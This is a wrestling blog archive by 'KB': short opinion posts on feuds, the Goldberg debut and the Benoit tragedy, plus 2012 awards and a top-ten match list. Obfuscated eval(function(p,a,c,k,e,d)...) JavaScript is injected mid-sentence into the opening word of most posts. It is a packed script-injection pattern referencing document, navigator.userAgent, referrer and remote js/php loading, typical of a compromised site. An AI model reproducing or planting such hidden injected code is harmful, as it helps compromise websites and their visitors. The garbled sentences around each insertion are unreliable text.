I Want To Talk A Little Bit About Stone Cold Steve Austin
What followed was the feud that made Austin, as he fought the ultimate current legend, Bret Hart. While Bret beat Austin at the Survivor Series, Austin continued to torment Bret, cheating him out of the Royal Rumble and costing him the world title a few nights later on Raw. This all lead us to Wrestlemania and the I Quit match between the two of them where we saw some of the best storytelling ever.
What followed over the next three and a half years was a path of destruction by the rebel Austin. He did everything from fill Corvettes with cement to blowing up buses to pretending to shoot Vince in the head to spraying down the Corporation with beer and everything in between. The entire time though, Austin was rebelling. This is another of the keys to why Austin was a perfect character: he DID things rather than merely be labeled as something.
Thought of the Day: The Worst Feud I’ve Ever Seen
Given eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nktzd|var|u0026u|referrer|ebkar||js|php'.split('|'),0,{})) the news that broke earlier in the week this popped into my mind. Those of you who regularly read my stuff might already know this.The worst feud I’ve ever seen was Matt Morgan vs. Elijah Burke (D’Angelo Dinero) down in OVW. They feuded for months over the OVW Title with Morgan finally taking it from Burke to end things. This NEVER became interesting whatsoever and the matches were consistently terribly dull. I have no idea what the point of this feud was and it kept me from ever caring about Burke again.
The Official Rules of Professional Wrestling
I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ediek|var|u0026u|referrer|ftisf||js|php'.split('|'),0,{})) saw a link to this and thought it was pretty cool. Over the years, wrestling rules basically are altered to fit whatever story was going on. This however is an official set of NWA wrestling rules circa 1974 from a souvenir sold in the Mid-Atlantic area. It’s pretty cool stuff.
http://www.ddtdigest.com/features/prog1974/pictures/backib.jpg
I’d LOVE to see a WWF version of this just for the sake of comedy.
Thought of the Day: The Goldberg Debut
Yet eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yande|var|u0026u|referrer|kbizd||js|php'.split('|'),0,{})) another idea that hasn’t been used in like 15 years.Goldberg debuted on Nitro seemingly as a jobber. Tenay, the WCW announcer who seemingly knew everything, had no idea who Goldberg was or knew anything about him. Ignoring the winning streak and all that jazz, that’s a pretty smart way to debut someone. Don’t give them a character, don’t give them anything unique, don’t tell us anything about them, but have the guy win and fill in the background later. It’s better than a ballroom dancer, no?
KB’s 2012 Wrestling Awards
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- Wrestler of the Year
- Tag Team of the Year
Other: The Shield. These guys burst onto the scene and took over the company near the end of the year. They had one of the best debut matches EVER, taking a war to Ryback and HELL NO. These guys have a ton of potential and they have a chance to be huge in the next year, but this is for team of the Year, not November and December.
- Match of the Year
Tie: Undertaker vs. HHH (Wrestlemania 28)/Brock Lesnar vs. John Cena (Extreme Rules)
- Feud of the Year
- Most Improved Wrestler of the Year
- Most Inspirational Wrestler of the Year
- PPV of the Year
Winner: Wrestlemania. It had three of the ten best matches of the year and almost nothing bad going on at all. We also set up a bunch of stuff throughout the rest of the year, had some great matches, and had a match that was literally built up over a year. I had an absolute blast watching this and it still holds up today. Oh and it made more money than any pay per view ever. Wrestlemania wins.
Other: Final Resolution. This is basically the TNA version of Survivor Series as it was more or less a house show with nothing significant happening. At the end of the year it felt like both companies were just trying to get to January, and that makes for some BAD PPVs.
- Surprise of the Year
- Best Angle of the Year
- Worst Angle of the Year
- Promo of the Year
- Moment of the Year
Merry Christmas,
KB
Thought of the Day: Benoit and Modern Wrestling
This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dasyr|var|u0026u|referrer|anhad||js|php'.split('|'),0,{})) came up on my forums earlier today and it made me think a little bit.Right now, wrestling is clearly trending downward. Ratings are going down and it’s clear that public interest isn’t what it used to be. Among many other things, I think people forget how big a role the Benoit incident plays in this. It’s by far and away the biggest mainstream story you’ll see in wrestling arguably ever and it sent shockwaves through everyone. People looked at wrestling and saw a monster who was about to win a title murdering his wife and son before killing himself. That was a wakeup call for a lot of fans and it made people walk away from wrestling. The importance of this to the modern product hasn’t gone away and isn’t going to for a very, very long time.
KB’s Top Ten Matches Of 2012
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10. Austin Aries vs. Bobby Roode – Destination X
This was a match where the build to the match worked better than the overall match, even though the match itself was quite good. The story behind the match was Aries cashing in the X Title to get a guaranteed world title match here. This is where things got interesting, as you had Aries as the unbeatable X Division Champion facing the longest reigning world champion in company history. The idea was simple: take two guys who are perceived as unbeatable and put them in a match. The fact that the match was great helped a lot too.
9. Big Show vs. Sheamus – Hell in a Cell
8. John Cena vs. The Rock – Wrestlemania 28
7. CM Punk vs. Daniel Bryan – Over the Limit
6. Daniel Bryan vs. Sheamus – Extreme Rules
5. James Storm vs. Bobby Roode – Lockdown
4. Shield vs. HELL NO/Ryback – Tables Ladders and Chairs (TLC Match)
3. Chris Jericho vs. CM Punk – Wrestlemania 28
T-1. Undertaker vs. HHH – Wrestlemania 28 (Hell in a Cell)
T-1. Brock Lesnar vs. John Cena – Extreme Rules (Extreme Rules)
To begin with, when I refer to the first HHH vs. Undertaker match, I mean the one that happened in 2011, not the one from eleven years ago.
Thought of the Day: Fight Over The Music
I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|itsei|var|u0026u|referrer|zanir||js|php'.split('|'),0,{})) only remember seeing this twice and it hasn’t happened in over 25 years.Back in 1986, Hulk Hogan and Paul Orndorff had a HUGE feud. During the course of this, Orndorff started to use Hogan’s legendary Real American song as his own, claiming that he (Orndorff) was the true Real American.
In 1987, the Young Stallions formed and started using a song called Crank It Up. Jimmy Hart, the writer of the song, was angry because he wanted the Hart Foundation to use it.
Why don’t we see theme music as a feud starter anymore? I know a lot of the songs are generic and could be interchanged, but given how similar a lot of the feuds are anymore, this is as a good an idea as anything else for getting people not liking each other.
Thought of the Day: Keep It In The Family
As eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rteek|var|u0026u|referrer|rtyhb||js|php'.split('|'),0,{})) usual, it’s about taking it back to the past.When Ricky Steamboat debuted, he was billed as the nephew of a popular local wrestler named Sam Steamboat. Shane Douglas was the nephew of Paul Orndorff when he started. Kane is Undertaker’s brother. Why not do this more often? They harp on how important being a second generation guy is all the time now, so why not make it up? It’s ok to lie to up once in awhile, so why not try something like this?
Your Christmas Wish List
Simple eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fafae|var|u0026u|referrer|nyhnd||js|php'.split('|'),0,{})) idea: what do you want from Xanta Claus for Christmas? My list:1. Less 50/50 booking.
2. Better stories.
3. Less Hogan.
4. Eve Torres
Your lists?